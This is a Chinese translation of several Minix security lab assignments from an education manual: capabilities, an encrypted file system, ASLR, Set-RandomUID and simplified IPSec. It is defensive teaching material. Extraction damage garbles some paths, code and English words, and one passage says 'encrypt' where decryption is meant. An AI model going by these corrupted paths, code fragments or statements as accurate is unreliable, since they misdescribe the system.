CAP_KILL:允许杀掉任何进程.
它覆盖了发送信号进程的真正的或有效用户ID必须符合接受信号的进程实际的或有效用户ID的限制.
5.
CAP_SYSBOOT:允许重新启动系统.
应当实现一个命令用于超级用户为程序分配权能(或删除权能).
应当指出的是,上述5个权能是独立的,如果某一权能没有分配给一个程序,该程序无法从其他权能获得此种权能.
例如,如果一个程序只有CAP_SETUID权能,它不应该能够使用这种权能获得任何其他权能.
你应当被警告,上述的权能的描述是故意模糊和不完整的,以至于一个完全符合上述描述的设计也有漏洞.
你的责任就是让描述清晰和完整.
如果你认为有必要为这些权能添加限制以避免漏洞,你可以自由进行;在你的报告和演示中,你需要证明你的决定.

2.
2管理权能(40分)我们还应该允许一个进程管理自己的权能.
例如,当一个进程不再需要一个权能,我们应该让这个进程永久删除此权能.
因此,即使这一进程受到损害,攻击者也无法获得此项已被删除的权能.
以下六个操作是一般权能管理操作,你必须在你的权能系统里执行这些操作.
1.
删除:一个进程可以永久删除权能.
2.
禁用:一个进程可以暂时禁用权能.
请注意,与删除不同,禁用只是临时的,进程可以在以后启用它.
3.
启用:一个进程可以启用暂时禁用的权能.
4.
复制:一个进程可以将自己的权能分配给其子进程.
5.
复制控制机制:权能所有者可以控制是否允许其接收者复制权能.
6.
(10分)撤销:权能所有者可以从它的所有的子进程撤销权能.
3设计与实现问题在这个实验中,你需要作一些设计选择.
你的选择应当合理,并且应该在你的实验报告里阐明理由.
3.
1给程序分配权能在程序成为一个享有特权的程序之前,某些权能需要分配给这一程序.
关于权能分配,你需要考虑下列问题.
一个程序的权能将保存在什么地方有多种方法来存储权能.
你需要来证明你的设计方案.
你可以从各个方面来证明它,如安全性、可用性、易用性等.
为帮助你,我们列出了两计算机安全教育实验53种可能的方法如下:-在一个配置文件上储存权能-在程序文件的I-nodes储存权能用户如何设置文件的权能谁可以分配权能给程序3.
2进程权能当一个程序被执行时,将创建一个进程.
进程应该带有权能信息.
有关进程,你需要考虑下列问题:哪里存储权能他们可以存储在内核空间(例如,权能列表),用户空间(例如,crytographic令牌),或同时存储于两种空间(如文件描述的实现,物理权能都存储在内核,而权能的变址被复制到用户空间).
你使用那种设计呢你应该在你的实验报告中证明你的方案.
你需要学习进程相关的数据结构.
它们在三个地方定义:文件系统(/usr/src/fs),内存管理(/usr/src/mm)和内核(/usr/src/kernel).
如何给一个新创建的进程分配权能当系统启动,将创建一些进程(如文件系统进程和内存管理进程),这些进程需要权能吗3.
3使用权能进行访问控制当一个进程试图访问一个对象,操作系统将检查进程的权能,并决定是否授予其权限.

下列问题就如何设计和实施这样的出入控制系统将给你一些提示.
要检查权能,你需要修改Minix内核的一些地方.
必须非常小心,不要在任何地方出错,否则你的系统将出现漏洞.
请在你的实验报告中说明这些地方和你的证明.

在哪检查权能你应该考虑采用访问列表原则.
这个实验中实现的权能将和Minix的现有的ACL访问机制并存.
你怎么处理它们之间的关系例如,如果一个进程具有所需要的权能,但ACL拒绝访问,该访问应该被允许吗另一方面,如果进程不具备必要的权能,但ACL允许访问,该访问应该被允许吗在你的实验报告中,你应该画一个图来描述你的权能检查模块与ACL检查模块之间的关系.
兼容性问题:请记住,有些进程(特别是那些开机时创建的进程)没有启用权能.
增加权能机制会导致他们不能正常工作,因为他们根本没有携带任何权能.
你需要找到一个解决方案使你的权能系统兼容这些进程.
计算机安全教育实验543.
4帮助文档在实验网页上有几个有用的文档链接.
请务必阅读它们,因为它们可为你节省大量的时间.
这些文件包括以下主题:(1)如何增加对新的系统的调用(2)如何调用系统调用(3)文件系统进程中的进程表和内存管理进程.
非常重要:请记住,在做修改之前,备份一个有效的启动镜像;因为你可能会经常让系统崩溃.
4作业提交和演示你应该提交一份详细的实验报告来描述你的设计和实施过程.
你也应该说明如何测试你的系统的功能和安全性.
你还需要给我们演示你的系统.
请与助教联系确定一个演示时间.

准备演示时,请考虑以下方面:演示的总时间为15分钟,不会延长时间.
所以对演示要有所准备以覆盖重要功能.

演示由于完全负责,在此过程中我们连键盘也不会碰一下的,所以你不能依靠我们来测试系统.
如果你系统的一些重要功能演示失败,我们将认为你的系统没有实现这些功能.
演示之前你需要练习.
如果系统崩溃或出现任何错误,那是你的问题.
我们既不会帮你修正错误,也不会给你额外的时间.
在演示过程中,你应该把自己当成销售人员,想要向我们推销你的系统.
你有15分钟的时间向我们展示你的系统有多么好,所以想想你的营销策略.
如果你实现了一个很棒的系统,但是没有展示给我们它有多么好,你也不会得高分.
关闭系统出于调试目的打印出来的消息,这些消息不应该出现在演示中.

计算机安全教育实验55加密文件系统实验1概述在传统文件系统中,文件通常未加密地存储在磁盘上.
当磁盘被人盗窃,里面的内容很容易就被恶意攻击者获取.
为了在磁盘被盗的情况下也能保护文件,我们使用加密工具为文件加密.
例如,我们可以用"pgp"命令加密文件.
然而,这相当不方便,用户需要在编辑文件前解密,编辑好之后还要记得加密.
加密和解密若对用户透明会更好.
加密文件系统(EFS)正是为这个目的而开发,它已经在许多操作系统中实现,如Solaris,WindowsNT和Linux.
2实验任务在EFS中,所有文件均被加密,在不知道密码的情况下没有人能解密文件.
因此,即使EFS磁盘被盗,它里面的文件也能保持机密.
2.
1透明EFS最重要的特征是"透明".
也就是说,当合法用户使用EFS中的文件时,不需要直接进行加密/解密,而是由系统自动执行.
这就是EFS与普通文件加密程序的区别.

更重要的是,EFS对应用也应该透明.
任何在传统文件系统里工作的应用也应该在EFS里正常工作.
当用户使用普通编辑软件读文件(已加密)时,EFS将在文件内容传给软件前自动加密;类似地,EFS也将在用户写文件时自动加密内容.
所有这些都在后台进行,不管是用户还是编辑软件都不会注意到加密/解密过程.
例如,如果用户使用"cat"查看一个文件的内容,cat将显示被解密的内容,EFS.
透明地执行解密.
如果用户使用"vi"编辑一个文件,每次他们发送一个"save"命令,文件内容将被加密然后存储到磁盘,加密同样也由EFS透明地执行.
无需修改应用程序.
2.
2密钥管理(a)密钥存储难题在EFS中,我们可以选择使用一个密钥加密所有的文件,也可以选择用不同的密钥单独加密每个文件.
本实验中,我们选择了后一个方法,我们称其为per-le-keyCopyright2006WenliangDu,SyracuseUniversity.
ThedevelopmentofthisdocumentisfundedbytheNationalScienceFoundation'sCourse,Curriculum,andLaboratoryImprovement(CCLI)programunderAwardNo.
0618680and0231122.
Permissionisgrantedtocopy,distributeand/ormodifythisdocumentunderthetermsoftheGNUFreeDocumentationLicense,Version1.
2oranylaterversionpublishedbytheFreeSoftwareFoundation.
Acopyofthelicensecanbefoundathttp://www.
gnu.
org/licenses/fdl.
html.
计算机安全教育实验56方法.
显然,这些密钥不能在磁盘上明文存储,否则,攻击者偷取磁盘后会发现密钥.
另一方面,我们也不能让用户每次访问文件时都输入每个密钥,因为没有人能记住所有的密钥.

这是一个你在EFS设计中必须解决的难题.
(b)密钥相关信息存在哪有许多地方可以存放密钥相关信息.
一个地方是i-node数据结构,然而i-node没有提供足够的空间来存储你所需的额外信息,有两个不同的方法可以解决这一问题,一个需要对i-node进行修改,另一个是重定义一个i-node域.
详见4.
1节.
另一个可以用来存储密钥相关信息的地方是超级块.
详见4.
2节.
(c)验证用户进入EFS之前必须通过验证.
这一验证并非验证用户本身,相反,其重点是确保用户提供了正确的密钥信息.
未经验证,一个输入错误密钥的用户可能篡改加密文件,如果这个密钥被直接或间接用于加密/解密文件的话.
根据你的设计,验证可以以不同方式进行.
一种方式是只验证初始设置EFS系统的root用户,另一种是验证每一个用户.
不管你采取哪种方式,验证必须保持在最低限度:如果你让用户验证太频繁,没有人会喜欢你的EFS.
你必须平衡系统的安全性和可用性.
另一个验证问题是何处以及怎样存放验证信息.
(d)其它问题还有许多你在设计中需要考虑的其它问题:文件共享你的作品支持Unix中的"组"概念吗换句话说,如果一个文件可以被一个组访问,在EFS里组成员还可以访问这个文件吗密钥升级如果密钥需要升级,你的系统如何支持这一功能尽管在本实验中你不需要实现此功能,但需要在报告中讨论你的系统可以如何扩展以支持这个功能.

2.
3加密算法我们假设用AES算法(128位分组密码)加密和解密,AES的密钥大小可以是128位,192位或者256位,你可以选择一个支持你的EFS实现.
aes.
c里给出的代码用于加密/解密一个组(即128位),所以如果你需要加密/解密超过一个组的数据,需要使用一个特定的AES模式,如ECB(ElectronicCodeBook),CBC(CipherBlockChaining)等.
你可以决定使用哪种模式,但是你需要在报告中证明你的设计思想.
由于AES是一种128位分组密码,它需要数据作为一个16bytes数据块来加密,如果数据(特别是文件的最后一个块)不是16的倍数,我们需要填充数据.
这样会增加文件的长度吗你怎样保证增加的数据不被用户看到为了使用AES,我们需要在Minix系统里安装libcrypt数据库.
安装手册见本实验的网站.
这个数据库包括加密和单向哈希.
3EFS设置修改一个文件系统是有很大风险的.
你可能会丢失所有数据,如果你的文件系统崩溃的话,保存旧的bootimage也没用.
一个解决这些麻烦的好办法是考虑增加一块硬盘,出错计算机安全教育实验57时你可以格式化这块硬盘.
当然,在虚拟机里你不需要物理硬盘,你可以使用虚拟硬盘.
下面步骤是关于如何创建一个虚拟硬盘,如何在其上创建文件系统,以及如何挂载和使用这个文件系统:1、进入虚拟机设置界面并增加一块硬盘;(a)右键单击虚拟机选项,从菜单选择settings,(b)在Hardware选项上单击Add按钮,(c)从弹出窗口选择HardDisk并在接下来的步骤中选择默认选项(已高亮标出),(d)本实验中一个100MB的预分配硬盘已足够.
2、重启Minix.
系统.
3、这块虚拟硬盘将会被分配一个设备号.
如果你的当前硬盘是/dev/c0d0,那么新硬盘最有可能是/dev/c0d1.
硬盘以/dev/cXdXpXsX的形式命名,其中d代表磁盘号,p代表分区号.
假设之前你只有一块硬盘(disk0),你的新硬盘号将为1,因此名为/dev/c0d1.
4、#mkfs/dev/c0d1:在新硬盘上创建一个一般Minix文件系统.
一个文件系统从一个大小固定为1024bytes的bootblock开始,它包含了一段可执行代码,引导OS的加载过程.
当系统启动后便不再使用.
bootblock后面是超级块,包含了描述文件系统层的信息.
mkfs命令向超级块中插入信息,如所使用的块大小和识别文件系统用的MAGIC号.
由于Minix3支持多文件系统,MAGIC用于区分不同的文件系统.
如果你要开发一个新的文件系统类型,需要修改mkfs命令.
5、#mkdir/MFS:创建一个目录用于挂载新文件系统.
6、#mount/dev/c0d1/MFS:将文件系统挂载到/MFS目录.
这一命令为一个成功的文件系统挂载执行以下步骤:(a)在内存中/MFS节点的副本上设置已挂载标记.
此标记/MFS意味着另一个文件系统挂载在了/MFS下;(b)将/dev/c0d1的超级块载入超级块列表.
系统将所有近期挂载的文件系统(即使它们未被挂载)的超级块保存到了一个列表;(c)改变超级快列表里的/dev/c0d1超级块表项inode-mounted-upon域值指向/MFS.
当你试图访问最新挂载的文件系统里的文件,输入#cat/MFS/file,将发生以下步骤:(a)系统首先在root目录下查找/MFS节点;(b)它找到挂载标记设置,然后在超级块列表里搜索inode-mounted-upon指向/MFS节点的超级块;(c)然后跳转到这个已挂载文件系统的根目录,超级块的inode-for-the-root-of-mounted-fs域指向挂载系统的根节点;(d)然后在这个文件系统里查找文件节点.
如果你走到这一步那么你的设置基本完成了,所有修改都将在这个新硬盘上执行.

计算机安全教育实验584设计和实现问题4.
1在i-node中存储额外的信息在EFS中有两种不同的方式使用i-node存储额外信息:不修改i-node:版本2和3的Minix文件系统的硬盘inode结构如下:最后一个区域(即d2zone[V2NRTZONES-1])未使用(它可以被用作三重间接区域,只有很大的文件才需要).
我们可以使用这个表项存储额外信息.
然而,这个表项只有32位,为了存储多于32位的信息,我们需要分配另一个磁盘块来存储那些信息,然后将此磁盘块的地址存放在这个区域表项.
说明请见参考书目[1].
修改i-node:另一种方法是修改i-node数据结构,添加一个新的表项.
可以通过在inode结构里引入一个参数数组存储你想要的信息来实现.
如果这样做,你是在改变文件系统类型.

需要注意许多问题:1、你需要确认你的inodes仍然与磁盘块保持一致.
就是说,磁盘块大小(1024bytes)必须是inode大小(初始inode大小事64bytes)的倍数.
2、从根本上改变inode意味着我们在创建一个新的文件系统.
需要在操作系统中作一系列修改,OS才能支持这个新的文件系统.
详见参考书目[2].
3、定义一个新的文件系统允许EFS与原来的文件系统共存.
这使得你可以以喜欢的任何方式灵活地扩展它而不影响其它文件系统.
4.
2在超级块里存储额外信息超级块里包含定义文件系统的必要信息.
每个文件系统都有自己的超级块,文件系统具体信息可以存储在这里,例如,你可以存储EFS特殊信息到超级块.
与修改不同,修改/增加信息到超级块十分简单.
计算机安全教育实验594.
3修改EFS在Minix里,doread()和dowrite()过程分别执行读和写操作.
由于这些操作的相似性,这些过程都调用readwrite(),它调用rwchunk()从块缓存读取数据到用户空间.
在过程调用体系rw_block()下,某段程序被调用从磁盘读取数据块并载入到块缓存.
这意味着我们可以在两个地方实现加密/解密操作:1、在块被传递到用户空间之前,从内存块缓存里解密.
把块从用户空间拷贝到缓存时加密.
这个方法需要在rwchunk()里做更改.
2、在块从磁盘载入块缓存时解密,写回时加密.
当你已经使inode指向块时(因此它的超级块信息和密钥你可能已经存储到了inode里),第一种方法比较简单.
下面的rw_chunk()代码段说明了从块缓存读取或写入的操作:if(rw_flag==READING){/*Copyachunkfromtheblockbuffertouserspace.
*/DECRYPTTHEBUFFERTOBECOPIEDTOUSERSPACEr=sys_vircopy(FS_PROC_NR,D,(phys_bytes)(bp->b_data+off),usr,seg,(phys_bytes)buff,(phys_bytes)chunk);ENCRYPTTHEBUFFERINTHECACHEBACKAFTERCOPYING}else{/*Copyachunkfromuserspacetotheblockbuffer.
*/r=sys_vircopy(usr,seg,(phys_bytes)buff,FS_PROC_NR,D,(phys_bytes)(bp->b_data+off),(phys_bytes)chunk);ENCRYPTTHEBUFFERINTHECACHEbp->b_dirt=DIRTY;}你可以使用上述代码所提供的线索来进行加密/解密操作,然而rwchunk()里可能还有别的需要注意的问题.
5建议1、阅读助教提供的系统调用实现手册.
2、阅读Minixbook第五章.
3、为你的设计和实现建模.
这个项目可以清楚地分三个阶段建模:文件系统修改,加密(和解密),以及密钥管理.
文件系统的修改应该由你的密钥管理设计来驱动.
4、在你的代码中任何地方都不要有内存泄漏和悬浮指针.
计算机安全教育实验605、遵循增量开发策略.
在每个阶段都编译内核并测试你的更改,在你的代码里放入pri语句跟踪内核代码,即使编写小的友好功能,也要编译并测试代码来看效果.
偏执是要付出代价的:你不希望你的代码在演示时出问题,但如果有内存泄漏,会导致竞争条件,那么一定会出问题.
6、使用/var/log/messages,它储存sartup消息,你可以查看如果屏幕滚动太快.
7、在你的主目录下保留一个原始镜像的副本,如果有地方出错你可以还原.

8、使用虚拟机的快照功能进行版本控制.
当一项功能完全实现时拍一个快照,还原到快照比找到代码段删除要容易.
9、使用正确的image.
Minix的image跟踪有bug,为了确认你使用的是正确的image,遵循以下步骤:(a)#halt(b)d0d0s0>ls/boot/image/*Listalltheimagespresent*/(c)d0p0s0>image=/boot/image/3.
1.
2arXX/*XXisthelatestrevisionnumber*/(d)d0p0s0>boot10、不要试图一次完成项目.
建议在3~4周内完成,将工作展开,熬夜编码只会引入更多错误.
11、不要在物理硬盘上进行.
你可能会冒数据损坏的风险.
6测试你的作品你可以自由设计你的作品,下面是一个简单的实现:1.
#mkfs-e/dev/c0d1/*Format/dev/c0d1asanEFS*/EFSlogin:←密码,用于验证用户2.
#mount-e/dev/c0d1/MFS/*MountEFS/dev/c0d1on/MFS*/EFSlogin:←输入与给出EFS相关联的密码,如果密码错误,FS将不能挂载.
3.
从你的硬盘复制一份文件到/MFS.
当你读它时将会是清楚的文本.
4.
证明加密/解密过程正常,注释掉验证过程并重编译内核,然后挂载文件系统并尝试读文件,它不该再是清楚的文本.
7作业提交及演示你需要提交一份详细的实验报告描述你的设计和实现,还应该描述你如何测试系统功能和安全性.
你同样需要向我们演示你的系统.
请在助教处登记一个演示时间.
准备演示时请考虑以下几个方面:演示的总时间为15分钟,不会延长时间.
所以对演示要有所准备以覆盖重要功能.

演示由于完全负责,在此过程中我们连键盘也不会碰一下的,所以你不能依靠我们来测试系统.
如果你系统的一些重要功能演示失败,我们将认为你的系统没有实现这些功能.
演示之前你需要练习.
如果系统崩溃或出现任何错误,那是你的问题.
我们既不会帮你修正错误,也不会给你额外的时间.
在演示过程中,你应该把自己当成销售人员,想要向我们推销你的系统.
你有15分钟计算机安全教育实验61的时间向我们展示你的系统有多么好,所以想想你的营销策略.
如果你实现了一个很棒的系统,但是没有展示给我们它有多么好,你也不会得高分.
关闭系统出于调试目的打印出来的消息,这些消息不应该出现在演示中.

参考书目[1]HowtomanipulatetheInodedatastructure.
Availablefromourwebpage.
[2]DeninganewlesysteminMinix3.
Availablefromourwebpage.
[3]A.
S.
TanenbaumandA.
S.
Woodhull.
OperatingSystemsDesignandImplementation.
PrenticeHall,3rdedition,2006.
计算机安全教育实验62地址空间布局随机化实验1概述地址空间布局随机化(ASLR)是一项计算机安全策略,涉及在进程地址空间随机排列关键数据区域的位置.
这些关键数据区域通常包括可执行文件的基地址和库、堆、栈等的位置.
尽管ASLR不能消除漏洞,但它可以使得对某些漏洞的攻击变得困难.
例如,一个一般的缓冲区溢出攻击涉及加载shellcode到栈及用shellcode的起始地址重写返回地址.
在绝大多数情况下,攻击者不知道shellcode的起始地址,他们必须靠猜测.
如果内存是随机的那么猜测成功的概率将显著减小.
学生需要为Minix3实现ASLR.
2Minix3的内存布局PM的进程列表叫做mproc,定义于/usr/src/servers/pm/mproc.
h.
定义于mproc.
h的进程结构包含一个数列mp_seg,它有三个表项,对文本、数据和堆栈段各一个.
每个表项依次又有另外三个表项,存储虚拟地址、物理地址和段长度.
Minix3程序可以被编译为使用I和D结合空间(指令和数据)或单独的I和D空间.
在I和D结合空间,系统视数据段和文本段为一个大的段.
它对于某些任务是必须的,如引导或程序需要修改自身代码的情况.
默认情况下所有程序都被编译为使用单独的I和D空间.
图1显示了内存里的一个进程(OS独立).
Copyright2006WenliangDu,SyracuseUniversity.
ThedevelopmentofthisdocumentisfundedbytheNationalScienceFoundation'sCourse,Curriculum,andLaboratoryImprovement(CCLI)programunderAwardNo.
0618680and0231122.
Permissionisgrantedtocopy,distributeand/ormodifythisdocumentunderthetermsoftheGNUFreeDocumentationLicense,Version1.
2oranylaterversionpublishedbytheFreeSoftwareFoundation.
Acopyofthelicensecanbefoundathttp://www.
gnu.
org/licenses/fdl.
html.
计算机安全教育实验63图1内存中的一个进程当一个程序被编译为拥有公共的I和D空间时,文字段总是空的,数据段包含文字和数据.
这是一个安全弱点.
系统不再区分这两个段,攻击者可以在数据段载入一个讹诈组合并让系统执行(系统认为那是一个文字代码),I和D结合空间的内存布局有如下结构:被编译为拥有单独I和D空间的程序,有非零文字和数据段.
然而这并非为了安全而是为了效率.
Minix3不支持页面调度(或虚拟内存),它的目标是成为嵌入式系统.
拥有单独I和D空间在效率上有优势.
同一个程序的很多实例可以共享相同的文字段.
单独I和D空间的内存布局结构如下:给出一个虚拟地址和它所属的空间,看虚拟地址是否合法很简单.
如果合法,即有相应的物理地址.
程序一旦编译便需要被载入内存,由EXEC系统调用来执行.
计算机安全教育实验642.
1EXEC系统调用exec()按照以下步骤工作:1、检查许可——文件是否可执行2、获得段和总大小.
3、从调用者处获取参数和环境.
4、分配新的内存并释放不需要的旧内存.
5、将栈拷贝到新内存镜像.
6、将数据(或许是文本)拷贝到新内存镜像.
7、处理setuid/setgid位.
8、修正进程列表表项.
9、告诉内核进程现在可执行.
如果我们需要将栈的一个起始变量地址随机化,需要在第4或第5步引入一些随机化的级别.
以不影响进程执行的方式随机化空白空间(图1)也许是一个办法.
2.
2MALLOC库调用malloc()用来从堆中分配内存.
它使数据段扩展到空白区(当栈消耗掉高地址部分)的低内存区域.
malloc()触发brk()调用(转而去调用dobrk()),brk()调用导致数据段增长,dobrk()检查数据段和堆栈段有冲突.
如果所有条件满足,数据段随着内存请求(适当调整使它位于一个字的边界)数量增长.
malloc()请求的堆区地址很容易通过分配一个小的随机大小的片段来随机化,这种随机化在执行进程后或者第一次分配前.
.
3实验任务实验希望学生随机化栈和堆.
你可以利用C库提供的rand()和random()函数.
考虑以下程序:#include#include#include#includeintmain(intargc,char*argv[]){intonStack;int*onHeap=(int*)malloc(sizeof(int));printf("StartingStackat%x\nStartingHeapat%x\n",&onStack,onHeap);free(onHeap);return0;}计算机安全教育实验653.
1栈随机化上面的程序应该打印每次堆栈执行的不同值.
/usr/srcrvers/pm将是一个插入你代码的好地方.
3.
2堆随机化堆随机确保每次执行堆的起始地址不同.
你需要修改定义在/usr/srcb/ansi中的themalloc()库调用来实现.
4作业提交及演示你需要提交一份详细的实验报告描述你的设计和实现,还应该描述你如何测试系统功能和安全性.
你同样需要向我们演示你的系统.
请在助教处登记一个演示时间.
准备演示时请考虑以下几个方面:演示的总时间为15分钟,不会延长时间.
所以对演示要有所准备以覆盖重要功能.

演示由于完全负责,在此过程中我们连键盘也不会碰一下的,所以你不能依靠我们来测试系统.
如果你系统的一些重要功能演示失败,我们将认为你的系统没有实现这些功能.
演示之前你需要练习.
如果系统崩溃或出现任何错误,那是你的问题.
我们既不会帮你修正错误,也不会给你额外的时间.
在演示过程中,你应该把自己当成销售人员,想要向我们推销你的系统.
你有15分钟的时间向我们展示你的系统有多么好,所以想想你的营销策略.
如果你实现了一个很棒的系统,但是没有展示给我们它有多么好,你也不会得高分.
关闭系统出于调试目的打印出来的消息,这些消息不应该出现在演示中.

计算机安全教育实验66Set-RandomUID实验实验描述当运行一个我们不太信任的程序时,我们并不希望用自己的账户来运行该程序,因为这些不可靠的程序可能会修改我们的的文件.
有一个理想的方法是,操作系统创建一个新用户,并且允许我们用该用户的身份来运行这个程序.
而这个用户并不拥有任何文件,除非文件是任意可读/可写的,不然该程序不能读/修改任何文件.
在本实验中我们将为Minix系统设计一种这样的机制.
实验任务本实验中,你需要设计并实施一个Set-RandomUID机制.
当Set-RandomUID程序运行时,操作系统会随机的产生一个现不存在的用户id,并且以该用户id身份运行程序.
你可以将Set-RandomUID看成是与Set-UID机制相反的机制:set-UID允许用户升级自己的权限,而Set-RandomUID允许用户降低自己的权限.
Set-RandomUID的实施可以类比Set-UID,下面提供了一些对该实验有用的提示:1.
为了标记Set-RandomUID程序,我们可以利用I-node数据结构中许可领域未使用的粘滞位(定义在/usr/src/fs/inode.
h).
需要修改/usr/src/commands/simple目录下的chmod.
c文件.
2.
在程序执行之前,程序需要被加载到内存中,然后创建一个进程.
系统调用程序"/usr/src/mm/exec.
c"被激活来处理任务,此过程中你需要修改exec.
c文件.
3.
如果在设计过程中不太注意的话,Set-RandomUID机制会存在很多潜在的漏洞.

在实验报告中你需要解释哪些是漏洞,并在执行过程中解决这些漏洞,并将解决方案写在实验报告中.
(a)恶意程序是否可以调用setuid()和setgid()系统调用来使Set-RandomUID失效(b)恶意程序是否会通过创建新的进程来废除Set-RandomUID4.
Bob决定为现实用户保留0至999的ID号,所以随机ID的起始码为1000,这样Bob要通过这样的声明来产生随机ID:"unsignedintrandomID=rand()+1000;"然后分配RandomID给进程的有效用户ID,这样的生命是否会导致运行错误请给出解释.

Copyright2006WenliangDu,SyracuseUniversity.
ThedevelopmentofthisdocumentisfundedbytheNationalScienceFoundation'sCourse,Curriculum,andLaboratoryImprovement(CCLI)programunderAwardNo.
0618680and0231122.
Permissionisgrantedtocopy,distributeand/ormodifythisdocumentunderthetermsoftheGNUFreeDocumentationLicense,Version1.
2oranylaterversionpublishedbytheFreeSoftwareFoundation.
Acopyofthelicensecanbefoundathttp://www.
gnu.
org/licenses/fdl.
html.
计算机安全教育实验675.
其他可能的漏洞.
每提出一个漏洞增加10分,最多加30分.
作业提交和演示请提交一份详细的实验报告,描述你的实验设计和实施过程.
在实验报告中你需要说明如何测试系统的功能和安全性.
另外,本实验需要演示系统,请和助教约好演示时间.

计算机安全教育实验68IPSec实验1实验描述这个实验的学习目标是让学生们能将一些基本的安全准则运用到IPSec的实施中.
IPSec是一系列协议,由IETF(Internet工程任务组)开发,支持在IP层数据包安全交换.
IPSec协议已被广泛应用于VPNs——虚拟专用网.
IPSec协议的设计和实施体现了很多安全原则,包括加密(数据可靠性),单向散列,数据完整性,身份验证,密钥管理以及密钥交换.
此外,IPSec协议展示了如何以透明的方式将加密算法融入到TCP/IP协议中,这样现存的程序和系统并不需要知道增加的这个IP安全协议.
在该实验中,同学们将为Minix系统实施一个简化版的IPSec协议.
2实验任务整个IPSec协议对于一个实验来说过于复杂,要做完整个实验需要4至6个星期.
为了使之可行,我们只实施了IPSec协议的一部分,并且为了简化实验我们做了一些假设.

(1)ESP隧道模式IPSec协议有两种不同的头:网络认证协议(AH)和封装安全载荷协议(ESP);有两种不同的应用模式:传输模式和隧道模式.
在该实验中,只需做隧道模式的封装安全载荷协议,在ESP中,身份验证是可选项,但在本实验中我们将其设为了强制性的,即ESP身份验证部分将被加入到每一个ESP包中.
下图为IPv4在应用ESP前后的状态:Copyright2006WenliangDu,SyracuseUniversity.
ThedevelopmentofthisdocumentisfundedbytheNationalScienceFoundation'sCourse,Curriculum,andLaboratoryImprovement(CCLI)programunderAwardNo.
0618680and0231122.
Permissionisgrantedtocopy,distributeand/ormodifythisdocumentunderthetermsoftheGNUFreeDocumentationLicense,Version1.
2oranylaterversionpublishedbytheFreeSoftwareFoundation.
Acopyofthelicensecanbefoundathttp://www.
gnu.
org/licenses/fdl.
html.
计算机安全教育实验69数据包添加了隧道新报头,系统会对ESP报头之后的所有内容进行签名.
原始报头置于ESP报头之后.
在加密之前,会在整个数据包上附加ESP尾端.
除了ESP身份验证尾端ESP报头之后的所有内容都会被加密.
注意这加密的内容包括原始报头.
因为这个报头此时被视为数据包的数据部分的一部分.
(2)安全关联(SA)为了在两台主机上使用IPSec,必须对主机进行配置.
IPSec的配置是通过定义安全关联(SAs)来实现的.
一个安全关联是一个为传输提供安全服务的简单"连接".
对一些典型情况的实验是必需的,如两台主机之间的双向通信,两个安全网关的双向通信,和两个安全关联的双向通信.
安全关联式是由安全参数索引(SPI)、IP目的地址和安全协议(AH或ESP)标识符唯一标识的.
有两种类型的安全关联,分别是传输模式和隧道模式.
因为本实验只做隧道模式,所以我们只做隧道模式的安全关联(SA).
我们通过一个例子来说明SAs的使用,如下图所示:IP为192.
168.
10.
100的主机第一个SA显示,对于向外发送的包(发送至192.
168.
10.
200)将利用ESP隧道模式来处理这些数据包,加入ESP头的SPI值是5598.
需要指出的是,SPI值将被附加到ESP包中,它允许接收方通过这个索引(如键值)来查找安全参数,这个数字对每个节点应该是唯一的.
第二个SA中显示,对于任何一个向内接受的数据包,如果目的地址为192.
168.
10.
100,并且包中SPI为6380,则通过ESP这个入口来处理.
要对IP为192.
168.
10.
100的主机进行设置,必须在SAs隧道的另一终端192.
168.
10.
200进行相应的配置,SA必须进行双向设置,从图中可以看出,为了192.
168.
10.
100与192.
168.
10.
200之间传输数据包,在每台主机都必须有两个SAs来建立双向隧道.
SAs很重要的一部分是SPI(安全参数索引).
首先对SPI做一下简单的介绍,SPI是一个32位的标示符,用于识别数据包,当一个节点接收到一个IPSec数据包时,它会检查其中的计算机安全教育实验70SPI,通过SPI数据库找到响应的安全参数,SPI可以理解为是安全参数表的索引,帮助查找安全参数.
在上例中,SPI5598是从192.
168.
10.
100到192.
168.
10.
200的通信的安全参数的索引,SPI6380是其反向通信的安全参数索引.
在两台在主机上,拥有相同的SPI索引的安全参数应该是相同的.
例如,如下图所示,这两组SPI和安全参数应设置在两台主机上.

(3)在ESP隧道模式中设置外部IP报头在ESP隧道模式中,需要构建一个IP头,如何构建IP头详见RFC24015.
1.
2章节.
在这里我们将介绍如何在外部IP头里构建源和目的地的IO地址.
不同类型的IP安全隧道有不同的构建方法,下面对他们进行一一的介绍:主机到主机的隧道模式:如果只使用IPSec在两主机间建立一个ESP隧道,源IP地址和目的IP地址都是从内部IP报头中拷贝过来的.
主机到网关的隧道模式:在该模式中,源IP仍是从内部IP报头中拷贝过来的,但是目的IP地址是网关的IP地址.
举例说明,原始数据包和目的IPA可以和目的IPG(网关)一起被封装在一个IPSec数据包中.
当数据包通过主机到网关的ESP隧道到达网关G时,G将打开IPSec数据包,提取出原始数据包,并将它传输到目的地址A.
网关到网关的隧道模式:在该模式中,源IP地址和目的IP地址都不同于内部IP报头.
源IP地址和目的IP地址都应在SAs中界定,应在上述例子中的SAs入口中增加相应的字段.
主机到网关和网关到网关的隧道模式广泛应用于创建虚拟专用网(VPN),使分散的计算机形成一个安全的虚拟网络.
例如,你有一台主机X在伦敦,它可以与在纽约的总部的网关创建一个主机到网关的ESP隧道,从安全角度讲,G认为X是直接和自己相连的,即使实际通信中经过了不可靠的互联网,也认为X和G之间的通信没有受到任何威胁,所以,总部可以把主机X看做专用网的一个成员,而非外部成员.
这本实验中,你执行的IPSec要支持主机到主机的隧道模式、主机到网关的隧道模式和网关到网关的隧道模式.
此外,你需要展示如何将IPSec运用到VPNs的构建中.
在指导手册中,我们将对如何设置网络环境来展示你的VPNs进行阐述.
(4)安全关联和密钥管理IPSec的任务是同时支持手动和自动的SA和密钥管理.
IPSec协议在很大程度上是独立于相关的SA管理技术的,但是这些管理技术也会对该协议所提供的安全服务有所影响.

最简单的管理形式是手工管理,这项管理工作是由一个人手动地为每个系统配置密钥卡片和安全关联管理数据,其中这些数据是与其他系统在安全通信相关的数据.
手工管理技术在小规模的静态的环境下是很实用的,但不适合大规模管理.
如,一个公司可以使用IPSec在几个地点创建一个VPN.
如果网站的数量比较少并且这些网站都在一个行政管理域内,则计算机安全教育实验71用手工管理技术是切实可行的.
广泛的部署和使用IPSec需要一个以互联网为标准的、可扩展的、自动化的SA管理协议.
选定使用IPSec的默认的自动密钥管理协议是在IPSec解释域下的IKE(网络密钥交换)协议.

其他的自动SA管理协议是可选的.
在本实验中,只需实现手工管理方法,即两个通信终端的系统管理员只需手动的设置和管理SAs与密钥.
实验进行过程中将会给系统管理员提供一个引导界面.
